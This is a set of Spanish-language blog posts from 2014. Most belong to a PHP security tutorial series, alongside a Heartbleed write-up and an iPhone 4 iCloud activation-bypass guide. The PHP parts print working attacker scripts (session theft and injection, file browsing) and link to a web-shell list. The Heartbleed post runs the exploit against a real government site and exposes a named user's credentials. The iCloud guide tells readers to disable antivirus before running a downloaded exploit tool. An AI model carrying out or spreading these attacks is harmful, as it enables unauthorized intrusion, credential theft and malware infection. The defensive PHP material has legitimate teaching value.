lunes, 14 de abril de 2014

Solucion install PECL ZipArchive or `unzip` & 'php_exif.dll' - No se puede encontrar el modulo especificado

Este error ocurre cuando intentas instalar sparks en codeigniter, la solucion en este caso la pondre cuando estamos utilizando appserv, primero que nada, localizamos el archivo php.ini que es la configuracion para php, para ello podemos crear un codigo que contenga la funcion phpinfo() y ver donde se encuentra nuestro archivo de configuracion php.ini lo abrimos y editamos lo siguiente:

para el error install PECL ZipArchive or `unzip`, solamente debemos descomentar: 

;extension=php_zip.dll 

quedando de la siguiente manera: 

extension=php_zip.dll

y para el error 'php_exif.dll' - No se puede encontrar el modulo especificado, solamente debemos invertir el orden de las dlls...
estan de la siguiente manera:

extension=php_exif.dll

extension=php_mbstring.dll
 
y quedan asi:

extension=php_mbstring.dll
extension=php_exif.dll  


Estas son extensiones. Se que esto es algo muy basico pero a mas de alguno le puede servir.


viernes, 11 de abril de 2014


Eliminar cuenta iCloud iPhone 4 [Tutorial]



Ignoren el golpe en la pantalla del touch.

Antes que nada quiero dar las gracias a Arthusu, por dejarme colaborar en su BLOG.



Esta ves les traigo como quitar la cuenta iCloud del iPhone 4.Tratare de explicarlo lo mas posible que pueda para que puedan entenderlo y no se les complique tanto.






ATENCIÓN 

A) Este Procedimiento solo funciona para el iPhone 4, no 4S/5/5C/5S, Solo para iPhone 4.
B) Este Procedimiento no es permanente, ya que la cuenta solo es eliminada del equipo para poder acceder a las aplicaciones.

C) 
La cuenta iCloud sigue activa en el servidor de iTunes,así que si restauran el equipo de fabrica o lo actualizan les volverá aparecer la cuenta iCloud.




Lo primero que necesitamos es tener los drivers, para eso descargamos el iTunes.
Lo podemos descargar desde su pagina principal,les dejo el link de descarga.






iTunes: https://www.apple.com/mx/itunes/download/

Ya que tengamos el iTunes instalado en nuestra pc.

Necesitamos el Software con el que vamos a eliminar la cuenta del equipo.
Link: https://www.mediafire.com/?nvhpgbim97l8zzm

ATENCIÓN 

Antes de instalar el Software, desactiven temporalmente el antivirus,en algunos casos
me comentaron que los detecto como virus en el momento de la instalación.
El Software ya esta probado que funciona correctamente.

Igual en el momento del uso del mismo software, mantengan desactivado el antivirus, por que al momento de enviar los exploits al equipo el antivirus los detecta y no deja enviarlos correctamente.

Ya descargado el Software, lo instalamos en la pc,lo abrimos y nos aparecerá esta ventana.



Ahora procedemos a dar click en la opción "iPhone 4 Hacktivate  Tool"




Se nos abrirá una ventana nueva.



Ya que tengamos esta ventana, procedemos a poner el iPhone en modo DFU.
Muchos ya saben como ponerlo, pero para los que no, les dejo el procedimiento.

  • Apaga tu dispositivo.
  • Pulsa a la vez los botones Home+Power  durante 10 segundos.
  • Pasados los 10 segundos mantén pulsado el botón Inicio y suelta el botón Power.
  • Pasados los 10 segundos iTunes te notificará que el dispositivo esta en modo de recuperación o DFU.




Ya después hecho esto, cerramos iTunes y seguimos con la ventana de nuestro software abierto.





Seleccionamos la primera opción "1) Run SSH_RD Tool"




Se nos abrirá otra ventana, no la cerremos hasta que acabe el proceso.





Esperemos que acabe el proceso.
Nos daremos cuenta que ya acabo cuando les aparezca estas letras al final.

  1. "login: root".
  2. "password: alpine".




No cerremos la ventana, la dejamos abierta y proseguimos con los demás pasos.
Ahora seleccionamos la segunda opción "2) Run SSH Connect"



Se nos abrirá una ventana en ms-dos y no tardara mucho el proceso, cuando termine nos quedara así como muestra en la imagen.





Ahora seleccionamos la tercera opción "3) Run Hacktivate Tool" Esto sin cerrar las dos ventanas anteriores.





Y se nos abrira una Ventana negra en ms-dos y se cerrara en automatico, a esta no logre tomarle captura.
Después de este proceso el iPhone se quedara en modo recovery, les muestro una imagen de como quedara su iPhone.
(
Ignoren el golpe en la pantalla del touch.)


Después de esto seleccionamos la ultima opción "4) Exit Recovery Mode"


Y el iPhone solo se reiniciara y prenderá en la pantalla de activación.
Lo conectamos a nuestra red Wi-Fi y lo empezamos a configurar desde el menú.


Una vez conectado en la red Wi-Fi le damos en "Siguiente"


Y se darán cuenta que ya no les pide la cuenta iCloud.


Ahora solo configuran su iPhone. ( De preferencia desactiven la localización)






Eso es todo amigos, espero les sirva este tutorial.
Cualquier duda o donde se traben, me pueden decir y con mucho gusto respondere sus dudas.

Saludos.

miércoles, 9 de abril de 2014

[Parte 9] Seguridad en PHP

Directivas de configuracion

Aunque estamos hablando sobre la seguridad en PHP, hay cosas como las configuraciones de PHP con la que todo programador debe estar familiarizado, tenga en cuenta que estas configuraciones pueden afectar el codigo que escriba, de manera que no se vera igual en otro servidor donde no tenga la misma configuracion.

Para saber donde se encuentra nuestro archivo de configuracion podemos usar la funcion phpinfo() la cual nos muestra informacion sobre la configuracion de php:

 <?php
 phpinfo();?>

Cuando nos arroja el contenido de las configuraciones de php podemos observar:


allow_url_fopen

Como se mostraba en la parte 6 de seguridad en php con la directiva allow_url_fopen podemos hacer referencia a archivos remotos como si fuesen locales...




 <?php
 $contenido = file_get_contents('http://ejemplo.com/xss.html');?>


Tambien en la parte 5 de seguridad en PHP vimos como podia ser peligroso al usar include o require:


 <?php
 include 'http://maligno.ejemplo.com/maligno.inc';?>

Es por eso que se recomienda deshabilitar la directiva allow_url_fopen a menos que su aplicacion requiera el uso de ella.

disable_functions

La directiva disable_functions es util para poder garantizar que alguna funcion peligrosa no pueda ser usada, un ejemplo de funciones que no te gustaria utilizar podria ser el siguiente:

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Aunque es mejor seleccionar las funciones que tu pienses que no necesiten estar activas.


display_errors

Esta directiva muestra los errores que puede contener nuestra aplicacion, aunque en forma de desarrollo es una buena alternativa, ya que nos deja ver en que estamos equivocados, en produccion es un error grave, ya que les estamos dando informacion a cualquier usuario que pueda ver nuestro script PHP, es por eso que se recomienda desactivar en modo de produccion.


enable_dl

Esta directiva se utiliza para activar o desactivar la funcion dl() la cual permite cargar una extension de PHP en tiempo de ejecucion. 



Usando la funcion dl() podemos eludir las restricciones de open_basedir y debe ser desactivada si su aplicacion lo requiere.



error_reporting

Muchas de las vulnerabilidades de seguridad son de la utilizacion de variables no inicializadas o de practicas de programacion descuidada. Es por eso que se recomienda activar error_reporting en E_ALL por lo menos, para que PHP nos informe sobre ello.


file_uploads

Esta directiva determina si se permite o no la carga de archivos, si la aplicacion no necesita aceptar carga de archivos es mejor desactivar esta directiva. 


log_errors

Si esta activado registra todos lo errores y los guarda en el archivo indicado en la directiva error_log.
Esto es muy util ya que podemos llevar un historial de errores de nuestra aplicacion, cuando display_error esta desactivado lo que permite log_errors es sumamente de suma importancia por que de lo contrario no se le avisa sobre ningun error en su aplicacion.
Se recomienda que log_errors se mantenga activado.


magic_quotes_gpc


Esta directiva escapa de forma automatica todos los caracteres que contengan ', ", \ y NULL por los metodos POST, GET y COOKIE.
Es lo mismo que usar la funcion addslashes().
Hay dos razones por la que no debes tener activada esta directiva, las cuales son:

1.- Añade complejidad al filtrado de entrada.
2.- No esta utilizando funciones nativas para escapar los datos a su base de datos.

Esta funcion se recomienda tener desactivada.


memory_limit

Establece el maximo de memoria en bytes que un script puede consumir. Se recomienda usar 8M. La directiva memory_limit solo esta disponible cuando PHP se compilo usando --enable-memory-limit.


open_basedir

La directiva open_basedir limita los archivos que pueden ser abiertos por PHP en un directorio especifico. Cuando un script intenta acceder al sistema de ficheros, por ejemplo, usando include() o fopen(), se comprueba la ubicacion del fichero. Cuando el fichero esta fuera del arbol del directorio especificado, PHP rechazara acceder a el.

open_basedir = /ruta/para

Asegurese de que la directiva enable_dl este desactivada, de lo contrario las restricciones de open_basedir  pueden ser evitadas.

register_globals

Para mas informacion sobre esta directiva se explica en la parte 1 de seguridad en php: http://www.arthusu.com.mx/2014/02/parte-1-seguridad-en-php.html


safe_mode

Para mas informacion sobre esta directiva se explica en la parte 8 de seguridad en php: http://www.arthusu.com.mx/2014/04/parte-8-seguridad-en-php.html



Referencias:

* Essential PHP Security
* PHP documentacion oficial
* PHPsec
* Cyberciti

OpenSSL Heartbleed Vulnerability

OpenSSL


Buenas usuarios del BLOG, hoy estuve leyendo sobre una vulnerabilidad en el protocolo SSL, el cual nos deberia de agregar seguridad a nuestras paginas webs, encriptandonos informacion y demas. Si quieren informacion sobre el protocolo SSL pueden leer aqui: http://es.wikipedia.org/wiki/Transport_Layer_Security

Vulnerabilidad



La vulnerabilidad OpenSSL 'Heartbleed' vulnerability (CVE-2014-0160) lo que nos deja hacer es obtener 64kb de la memoria RAM del servidor vulnerable, obteniendo datos interesantes como las cookies, datos que no pueden ser vistos por otros usuarios por que no tenemos permisos, credenciales, etc...

Bueno y pues no publicare lo mismo que otros blogs, que serian un listado del top 1000 de portales webs que son vulnerables, sino que mostrare con un script en python publicado en exploit-db como es que se explota esta vulnerabilidad...

Antes decirles que el descubridor de esta vulnerabilidad fue Neel Mehta del equipo de Google Security.

Exploit

El exploit lo pueden ver desde: http://www.exploit-db.com/exploits/32745/ e interpretarlo con python...

 
Vamos a testear la pagina insite.gov.pe.ca que nos proporciono nuestro amigo rotceh, la cual si la ven tiene solo un panel para poder entrar, pero... usa el protocolo SSL, entonces usamos el siguiente comando:

 python 32745.py insite.gov.pe.ca --port 443 > output_ssl.txt

Si puedes ver que uso > output_ssl.txt para que me guarde toda la informacion obtenida en un archivo.


Primero que nada nos vamos al final del archivo para verificar si el servidor es vulnerable:


Como se puede ver el servidor es vulnerable... El cual nos arroja muchos datos interesantes como en el caso de las cookies, podriamos hacer un secuestro de sesion.



Como podemos ver en la imagen nos muestra la cookie, mas abajo tambien nos muestra un texto que no esta en la pagina principal, en este caso hay algo muy interesante, por que cuando intente iniciar sesion parecia que el usuario ya no estaba conectado, pero algo muy interesante fue que el usuario estaba en la cookie al igual que la contraseña...


Como vemos el usuario es cjmacausland en la cookie viene codificada en hexadecimal... y la contraseña le pase un script llamado HashID que es un identificador de Hashes lo pueden encontrara aqui: https://code.google.com/p/hash-identifier/downloads/detail?name=Hash_ID_v1.1.py


Entonces tengo el usuario y la contraseña, solo que la contraseña esta encriptada, la unica manera seria usando la tecnica fuerza bruta, pero como no tengo ganas de estar esperando y esto solo es con fines demostrativos hasta aqui lo dejamos, no sin antes decirles, que para desencriptar la contraseña podriamos usar John the ripper por ejemplo.

¿Que fue lo que obtuvimos? Las credenciales de acceso.

Solucionar el problema

Para solucionar este problema necesitamos actualizar OpenSSL a partir de 1.0.1g, o tambien puedes recompilar OpenSSL deshabilitando el soporte para Hearbeat con la opcion -DOPENSSL_NO_HEARBEATS



martes, 8 de abril de 2014

[Parte 8] Seguridad en PHP

Alojamiento compartido

Muchas veces por mas seguro que estes en codigo el servidor puede no estar bien configurado, pero como en este caso no se habla a profundidad en el tema de los servidores sino en el tema de seguridad en php será en lo que nos centraremos.

Codigo fuente expuesto

En un servidor web compartido tenemos la mala suerte de que el codigo podria tambien ser leido por otros usuarios que esten en el mismo alojamiento, si el alojamiento compartido no esta bien configurado, el usuario podria insertar un codigo como el siguiente:



 <?php
 header("Content-Type: text/plain");
 readfile($_GET['archivo']);?>


Un atacante con este codigo en su servidor web, podria obtener la ruta completa de nuestro alojamiento, e intentar incluir algun codigo nuestro, un ejemplo podria ser de la siguiente forma:


http://ejemplo.com/archivo.php?archivo=/ruta/para/codigo_fuente.php
La manera que se le ve mas segura para almacenar este tipo de datos para que nadie vea donde no debe, seria guardarlos en una base de datos (encriptados), pero esto deja un problema todavia... ¿como hacer para que nuestros datos a la coneccion de la base de datos esten seguros?, un ejemplo nosotros tenemos un archivo php como el siguiente:


 <?php
 $db_user = 'miusuario';
 $db_pass = 'micontraseña';
 $db_host = 'localhost';
 $db = mysql_connect($db_host,$db_user,$db_pass);?>


La mejor solucion para este tipo de problema, seria crear un archivo de configuracion para estos datos, que solo un usuario root (permisos administrativos) pueda leer. Agregando lo siguiente:


SetEnv DB_USER "MiUsuario"
SetEnv DB_PASS "MiContraseña" 




SetEnv es una directiva de apache, el formato de este archivo indica a Apache crear variables de entorno para su usuario y contraseña de la base de datos. Y porsupuesto, este archivo solo lo podria leer un usuario root, pero si no tienes suficientes permisos, podrias usar el siguiente comando:


$ chmod 600 db.conf


Con ese permiso solo el propietario del archivo puede leer y escribir en el.


Para que este archivo le sea de utilidad, usted necesita poder acceder a el mediante PHP. Para ello editamos el archivo httpd.conf de manera que incluyamos nuestro archivo:


Include "/ruta/para/db.conf"

Ahora solamente en PHP hacemos referencia con la variable superglobal $_SERVER de la siguiente manera:

 <?php
 $db_user = $_SERVER['DB_USER'];
 $db_pass = $_SERVER['DB_PASS'];
 $db_host = 'localhost';
 $db = mysql_connect($db_host,$db_user,$db_pass);?>

De manera que si el archivo anterior esta expuesto, no podrian ver nuestras credenciales de acceso :)

Nota importante: Tenga en cuenta que los datos son enviados por la variable superglobal $_SERVER por lo cual si tiene un archivo con la funcion phpinfo() deberia denegar el acceso a tal archivo.





Datos de sesion expuestos

Incluso cuando proteges los datos, las sesiones estan expuestas, php guarda todo en el directorio temporal /tmp, las sesiones tambien se guardan alli, y con un sencillo script en php pueden ser expuestas:


 <?php
 header('Content-Type: text/plain');
 session_start();
 $path = ini_get('session.save_path');
 $handle = dir($path);
 while ($filename = $handle->read()){
  if (substr($filename, 0, 5) == 'sess_'){
   $data = file_get_contents("$path/$filename");
   if (!empty($data)){
     session_decode($data);
    $session = $_SESSION;
    $_SESSION = array();
    echo "Session [" . substr($filename, 5) . "]\n";
    print_r($session);
    echo "\n--\n\n";
   }
  }
 }
?>


Lo que hacemos con este script en php es buscar en la carpeta temnporal los archivos que empiezan con sess_ y luego mostrar su contenido, que en realidad es el contenido de una sesion lo decodificamos y lo mostramos...



La mejor manera para proteger nuestros datos de sesion seria guardarlos en la base de datos, hay que tener en cuenta que la seguridad en la base de datos se vuelve mas importante.

Primero creamos una tabla para las sesiones:

CREATE TABLE sessions
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);
Describiendo la tabla quedaria de la siguiente forma:


Para almacenar nuestros datos de sesion en esta tabla, es necesario que modifiquemos el mecanismo de sesiones:

 <?php
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
?>


Cada uno de estos argumentos maneja una tarea:

1.-  abre la sesion
2.- cierra la sesion
3.- lee la sesion
4.- escribe la sesion
5.- destruye la sesion
6.- limpia los datos de sesion obsoletos

Hacemos uso de ellos, creando una sesion para cada uno y realizando lo que se le indica:


<?php
 function _open(){
  global $_sess_db;
  $db_user = $_SERVER['DB_USER'];
  $db_pass = $_SERVER['DB_PASS'];
  $db_host = 'localhost';
  if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)){
   return mysql_select_db('sessions', $_sess_db);
  }
  return FALSE;
 }
 function _close(){
  global $_sess_db;
  return mysql_close($_sess_db);
 }
 function _read($id){
 global $_sess_db;
  $id = mysql_real_escape_string($id);
  $sql = "SELECT data FROM sessions WHERE id = '$id'";
  if ($result = mysql_query($sql, $_sess_db)){
   if (mysql_num_rows($result)){
    $record = mysql_fetch_assoc($result);
    return $record['data'];
   }
  }
  return '';
 }
 function _write($id, $data){
 global $_sess_db;
  $access = time();
  $id = mysql_real_escape_string($id);
  $access = mysql_real_escape_string($access);
  $data = mysql_real_escape_string($data);
  $sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')";
  return mysql_query($sql, $_sess_db);
 }
 function _destroy($id){
  global $_sess_db;
  $id = mysql_real_escape_string($id);
  $sql = "DELETE FROM sessions WHERE id = '$id'";
  return mysql_query($sql, $_sess_db);
 }
 function _clean($max){
  global $_sess_db;
  $old = time() - $max;
  $old = mysql_real_escape_string($old);
  $sql = "DELETE FROM sessions WHERE access < '$old'";
  return mysql_query($sql, $_sess_db);
 }
?>

Con esto deberiamos de llamar primero a session_set_save_handler() antes de sesion_start(), pero las funciones las podemos definir en cualquier lugar. De esta manera nos evitamos de modificar el codigo cuando usamos sesiones, ya que podemos seguir utilizando $_SESSION y se comporta de igual manera, PHP todavia se encarga de generar y propagar el identificador de sesion, y se siguen aplicando los cambios a las directivas de configuracion de sesion. Todo lo que tenemos que hacer es llamar a la funcion  (y crear las funciones a las que se refiere), y PHP se encarga del resto.

De esta manera si llenamos los datos de una sesion, por ejemplo:

 <?php
 include "manejador_sesiones.php";
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
 session_start();
 $_SESSION['foo'] = 'bar';
 $_SESSION['baz'] = 'wombat';
?>


Como vemos hacemos un include al manejador de sesiones, que es el codigo de cada funcion,insertado en la base de datos se veria de la siguiente, manera:  


Inyeccion de sesion

Como comentabamos anteriormente, cuando un usuario atacante se aloja en el mismo servidor, es posible que pueda atacarnos modificando nuestras sesiones, leyendolas o simplemente eliminarlas. Un ejemplo, seria el uso del siguiente script en PHP, inyectar.php:


 <?php
 include "manejador_sesiones.php";
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
 session_start();
 $_SESSION['foo'] = 'bar';
 $_SESSION['baz'] = 'wombat';
?><?php
 session_start();
?>
 <form action="inyectar.php" method="POST">
<?php
 $path = ini_get('session.save_path');
 $handle = dir($path);
 while ($filename = $handle->read()){
  if (substr($filename, 0, 5) == 'sess_'){
   $sess_data = file_get_contents("$path/$filename");
   if (!empty($sess_data)){
    session_decode($sess_data);
    $sess_data = $_SESSION;
    $_SESSION = array();
    $sess_name = substr($filename, 5);
    $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
    echo "<h1>Session [$sess_name]</h1>";
    foreach ($sess_data as $name => $value){
     $name = htmlentities($name, ENT_QUOTES, 'UTF-8');
     $value = htmlentities($value, ENT_QUOTES, 'UTF-8');
     echo "<p>
     $name:
     <input type=\"text\"
     name=\"{$sess_name}[{$name}]\"
     value=\"$value\" />
     </p>";
    }
    echo '<br />';
   }
  }
 }
 $handle->close();
 ?>
 <input type="submit" />
 </form>
 El script inyectar.php puede realizar las modificaciones indicadas en el formulario
<?php
 session_start();
 $path = ini_get('session.save_path');
 foreach ($_POST as $sess_name => $sess_data){
  $_SESSION = $sess_data;
  $sess_data = session_encode;
  file_put_contents("$path/$sess_name", $sess_data);
 }
 $_SESSION = array();
?>


De esta manera como se muestra la siguiente imagenes podriamos modificar, eliminar y leer las sesiones:


La manera de protegernos ante este tipo de ataque es, metiendo los datos a la base de datos como lo hicimos anteriormente, en el apartado datos de sesiones expuestas.


Sistema de archivos de navegacion

Ademas de poder leer archivos de su servidor, un atacante puede crear un script PHP, de manera de saber donde se encuentran estos archivos, mas que nada para navegar por ellos, para saber donde se encuentran y poder accederlos. Podemos crear un script PHP como el siguiente:


<pre>
<?php
 if (isset($_GET['dir'])){
  ls($_GET['dir']);
 }
 elseif (isset($_GET['file'])){
  cat($_GET['file']);
 }
 else{
  ls('/');
 }
 function cat($file){
  echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8');
 }
 function ls($dir){
 $handle = dir($dir);
  while ($filename = $handle->read()){
   $size = filesize("$dir$filename");
   if (is_dir("$dir$filename")){
    $type = 'dir';
    $filename .= '/';
   }
   else{
    $type = 'file';
   }
   if (is_readable("$dir$filename")){
    $line = str_pad($size, 15);
    $line .= "<a href=\"{$_SERVER['PHP_SELF']}";
    $line .= "?$type=$dir$filename\">$filename</a>";
   }
   else{
    $line = str_pad($size, 15);
    $line .= $filename;
   }
   echo "$line\n";
  }
  $handle->close();
 }
?>
</pre>



De esta manera tenemos un navegador de archivos como el siguiente:



Entonces si cualquiera puede ver nuestros archivos y puede acceder a ellos y verlos, lo mejor seria optar por almacenar datos confidenciales en la base de datos y encriptados. Y archivos como por ejemplo las credenciales de la base de datos, db.conf deberiamos optar por meterlo fuera del directorio raiz.


Modo seguro

El modo seguro fue diseñado para intentar resolver los problemas de alojamientos compartidos. Sin embargo esto es arquitectonicamente incorrecto para resolver problemas a nivel PHP, pero desde las alternativas del servidor web o sistema operativo no son nada realisticas, mucha gente especialmente ISP's tienen modo seguro habilitado.



Cuando modo seguro esta activado, realiza una comprobacion para ver si el propietario del archivo es el mismo que esta leyendo o abriendolo o escribiendo sobre el. Aunque esto... afecta a otros lenguajes de programacion como PERL, Python, o un script en CGI Bash:

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victima/inc/db.inc

En el archivo de configuracion php.ini podemos encontrar la directiva safe_mode la cual puede estar activada (On) o desactivada (Off), de la siguiente manera: Safe_mode = On
Si no sabes donde se encuentra tu archivo de configuracion, puedes crear un archivo con la funcion phpinfo() que te muestra informacion sobre la ruta donde se encuentra almacenado el archivo de configuracion de PHP.

Otro problema de modo seguro es que no impide el acceso a los ficheros que son propiedad del servidor web, por lo que si tenemos un script PHP como el siguiente:

<?php
 $filename = 'file.php';
 $script = '<?php
 header(\'Content-Type: text/plain\');
 readfile($_GET[\'file\']);
 ?>';
 file_put_contents($filename, $script);
?>

Se crea el siguiente archivo:

<?php
 header('Content-Type: text/plain');
 readfile($_GET['file']);
?>

Con el cual podemos leer archivos dentro del servidor. Debido a que el archivo tiene el mismo propietario que del archivo que lo creo. 

Como podemos ver el modo seguro contiene muchas fallas, es por eso que tambien fue eliminado y se declaro como obsoleto, entonces el modo seguro no es ningun reemplazo para todas las tecnicas de proteccion que hemos descrito hasta ahora.

Referencias:

* Essential PHP Security
* PHP documentacion oficial
* Wikipedia

domingo, 6 de abril de 2014

[Parte 7] Seguridad en PHP

Autenticacion y autorizacion

La autenticacion es el acto de establecimiento o confirmacion de algo (o alguien) como autentico. La autenticacion de un objeto puede significar (pensar) la confirmacion de su procedencia, mientras que la autenticacion de una persona a menudo consiste en verificar su identidad. La autenticacion depende de uno o varios factores.

La autorizacion es parte del sistema operativo que protege recursos del sistema permitiendo que solo sean usados por aquellos consumidores a los que se les ha concedido autorizacion para ello. El proceso de autorizacion se utiliza para decidir si la persona, programa o dispositivo X tiene permiso para acceder al dato, funcionalidad o servicio Y.

En este caso podemos unir la autenticacion con la autorizacion de manera que podamos darle permisos a cierto usuario para acceder a ciertos recursos, siempre y que este autenticado como usuario con dichos privilegios en una aplicacion web, este tipo de aplicaciones tales como paneles administrativos, inicio de sesion, etc. Suelen ser un blanco para diferentes tipos de ataques.

Ataques de fuerza bruta

Un ataque de fuerza bruta es una manera de recuperar la clave probando todas las combinaciones posibles hasta encontrar aquella que permita el acceso, digamos que por ejemplo, tenemos una aplicacion web donde conocemos sus usuarios, pero no conocemos sus contraseñas, intentamos iniciar sesion un sin fin numero de veces con las mas posibles contraseñas hasta lograr dar con la que realmente es, asi finalmente, obteniendo el acceso.



Existen muchos programas famosos tal como THC-Hydra con el cual puedes realizar ataques por fuerza bruta en varios servicios, como puede ser: HTTP, FTP, SSH, TELNET, MYSQL, ETC...

Les adjunto un video en el cual se realiza este tipo de ataque utilizando Burp Suite:



Para protegernos de este tipo de ataques podemos suspender la cuenta del usuario por un tiempo estimado por tantos inicios de sesion fallidos, o tambien agregar un sistema de captcha a nuestro inicio de sesion, y tambien podriamos poner que al registrarse se utilizen letras mayusculas, numeros y caracteres extraños para que la contraseña sea segura.

Un ejemplo del inicio de sesion fallido y esperar un determinado tiempo podria ser el siguiente:



Olfateo de contraseñas

Este tipo de ataques lo habiamos comentado cuando hablamos sobre sesiones, donde se hablaba sobre MITM (hombre en el medio).

Los analizadores de paquetes tienen diversos usos, como monitorear redes para detectar y analizar fallos, o para realizar ingieneria inversa en protocolos de red. Tambien es habitual su uso para fines maliciosos, como robar contraseñas, interceptar correos electronicos, espiar conversaciones de chat, etc.

Existen varios analizadores de paquetes entre los mas famosos puedes encontrar Wireshark...

Puedes encontrarlo en su pagina oficial: http://www.wireshark.org/

O simplemente la Suite de Aircrack la cual puedes encontrar desde: http://www.aircrack-ng.org/

Para protegerse contra este tipo de ataques habiamos comentado en la parte 4 de seguridad en php el uso de SSL para poder mitigar este tipo de ataques.

Un ejemplo es usarlo simplemente en todas las urls que se envien por el metodo GET de tu sitio web. Un ejemplo:




Ataques de repeticion




Como vimos en la parte 2 de seguridad en php veiamos como con burp suite pro podiamos atrapar cabeceras http y realizar ataques de repeticion, con esto simplemente podemos poner los datos que se hayan atrapado en el olfateo de contraseñas o alguna cookie que haya sido atrapada y repetir el ataque, podemos usar un complemente como tal es el caso de live http headers que se encuentra para mozilla firefox.

Para evitar este tipo de ataques simplemente tenemos que tratar de realizar las otras partes de seguridad ya comentadas como es el uso de SSL, el uso correcto de sesiones, de ataques de fuerza bruta, prevenir el robo de cookies, etc.

Y otra medida de seguridad es usar un tiempo de expiracion de acceso a un recurso privado. Tal como en el uso de sesiones dar un tiempo de expiracion, y cuando alguien quiera realizar algun tipo de accion que considere que sea muy brusca por el momento, como por ejemplo, cambiar la contraseña, pedir de nuevo el uso de introduccion de contraseña real, de manera que el atacante no sabra la verdadera contraseña si hizo uso de alguna cookie.



Inicios de sesion persistentes

Un inicio de sesion persistente es una sesion que se mantiene registrada por mucho tiempo, digamos que hoy validas la sesion, mañana entras y sigues validado, entras dentro de una semana y sigues validado... 


Muchas paginas web incluyen este checkbox de recordarme, el cual les da una sesion un poco mas larga de lo normal...

Un usuario atacante puede realizar un ataque de repeticion de manera que obtenga la misma sesion que el usuario.


La manera mas erronea y mas comun en un inicio de sesion persistente es almacenar el nombre de usuario y contraseña en una cookie, ya que los datos son expuestos. La manera mas facil de evitar este error es crear un token valido para una sola autenticacion:


<?php
 $token = md5(uniqid(rand(),TRUE));
?>

Sin embargo, un enfoque mejor consiste en utilizar un identificador secundario es menos probable que sea predecible o descubierto. Consideremos una tabla que tiene 3 columnas identificador (identifier), token, tiempo de espera (timeout:

Como puedes ver mostramos una tabla usuarios la cual contiene las 3 columnas que indicamos anteriormente.

Al generar un identificador secundario junto al token, podemos crear una cookie que no revele ninguna credencial de autenticacion del usuario:


Asi cuando un usuario intenta hacer un inicio de sesion persistente, se verifican varias cosas:

 
Se deben cumplir tres cosas importantes a la implementacion de las cookies para evitar el incio de sesion persistente, las cuales son:

* Las cookies vencen en una semana (o menos)
* La cookie solo cuenta para una sola autenticacion (borrar y regenerar el token cada inicio de sesion correcto)
* Un tiempo de espera (timeout) de una semana o menos se aplica al servidor

Por ultimo para asegurarnos de que un usuario realmente se ha desconectado de la sesion:


Lo cual sobreescribe la cookie con un valor inutil haciendo que la sesion caduque.  

Referencias:

* Essential PHP Security
* Wireshark
* Aircrack
* Wikipedia
* Mozilla Foundation
* THC-Hydra
 

sábado, 5 de abril de 2014

[Parte 6] Seguridad en PHP

Archivos y comandos

En esta parte veremos los riesgos asociados a los archivos y los comandos de shell, en php existen muchas funciones que se utilizan para el manejo de archivos y comandos de shell, es por eso que en este apartado veremos cuales nos pueden afectar y como podemos solucionarlos.

Atravesando el sistema de archivos

Muchas veces leemos archivos usando fopen() u otras funciones de php, las cuales en lugar de meterlas asi solamente la cadena para que lo lea el archivo, lo leemos usando variables o campos de entrada en la pagina web, de esta manera estamos dando un punto a una vulnerabilidad, un ejemplo de un tipo de codigo asi es el siguiente:

 
Como puedes ver en la imagen hay una variable llamada archivo, con la cual pide el archivo de determinada ruta (/ruta/para) en la cual se encuentran todos los archivos, de manera que si alguien entra a la url de ejemplo:

http://ejemplo.com/index.php?archivo=miarchivo

Se abre el archivo llamado miarchivo.txt y se muestra en la web....

Como mostramos en la parte 5 de seguridad en php donde hablabamos sobre la manipulacion del nombre del archivo y que esta vulnerabilidad tambien era llamada LFI en la cual hay un articulo en este mismo BLOG bien definido, pues en este caso estamos usando otro tipo de funcion pero es casi lo mismo por lo cual tambien podemos evitar el tipo de extension usando un null byte (), siendo nuestro ataque de la siguiente manera:

http://ejemplo.com/index.php?archivo=../etc/passwd

Incluyendose el archivo /etc/passwd correctamente y evitando el tipo de archivo .txt
 
Tal como dijimos en la parte 1 de seguridad en php "nosotros los programadores ponemos las reglas a nuestras aplicaciones"... por lo cual nosotros le podemos decir que solo queremos que en la entrada solo haya caracteres alfanumericos usando la funcion ctype_alpha():


O como lo hicimos en la parte 5 de seguridad en php podemos usar la funcion basename():



Riesgos de archivos remotos



PHP tiene una directiva llamada allow_url_fopen activada por defecto. La cual permite hacer referencia a archivos remotos como si fuesen archivos locales, de esta manera poder mostrarlos en el HTML. 

Usaremos la funcion file_get_contents() la cual transmite un fichero entero a una cadena. 


De esta manera podriamos pedir una shell en un formato .txt que este alojado en nuestro servidor, y al pedirla se incluira el codigo PHP dejandonos ejecutar comandos.

La lista de shell la puedes encontrar en esta web: http://www.r57shell.net/

Este ataque tambien es conocido como Remote File Inclusion (RFI).

Para solucionar este tipo de ataques podemos usar la funcion nativa de php htmlentities() de manera que al mostrar el codigo no lo interprete y solo se vea el codigo fuente en si...

htmlentities() lo que hace es convertir todos los caracteres aplicables a entidades html.



Inyeccion de comandos

Usar comandos del sistema en PHP es peligroso ya que puede ocurrir una vulnerabilidad llamada RCE (Remote Code Execution), la cual nos deja ejecutar comandos de manera remota.

Por ejemplo, podemos usar la funcion exec() la cual ejecuta algun comando del sistema devolviendo la ultima linea solamente, pero podemos almacenar en una matriz como segundo argumento de manera que devolvamos todos los elementos del array como uno solo en la matriz...



Esta forma de usarlo es peligrosa ya que muestra muchos directorios y archivos sensibles, aunque en este caso no usamos ningun campo de entrada si lo usaramos podriamos intentar controlar comandos a conveniencia, es por eso que es mejor escapar este tipo de entradas... de la siguiente manera:


La funcion escapeshellcmd() escapa meta-caracteres del interprete de comandos, con meta-caracteres se hace referencia a caracteres que tienen un significado especial en una consola de comandos.

La funcion escapeshellarg() escapa una cadena a ser usada como argumento del interprete de comandos.

Estas como puedes ver no son las unicas maneras de ejecutar comandos, podemos usar otras funciones nativas de PHP tales como: system(), passthru(), popen(), shell_exec().

Referencias:

* Essential PHP Security
* PHP documentacion oficial
* Wikipedia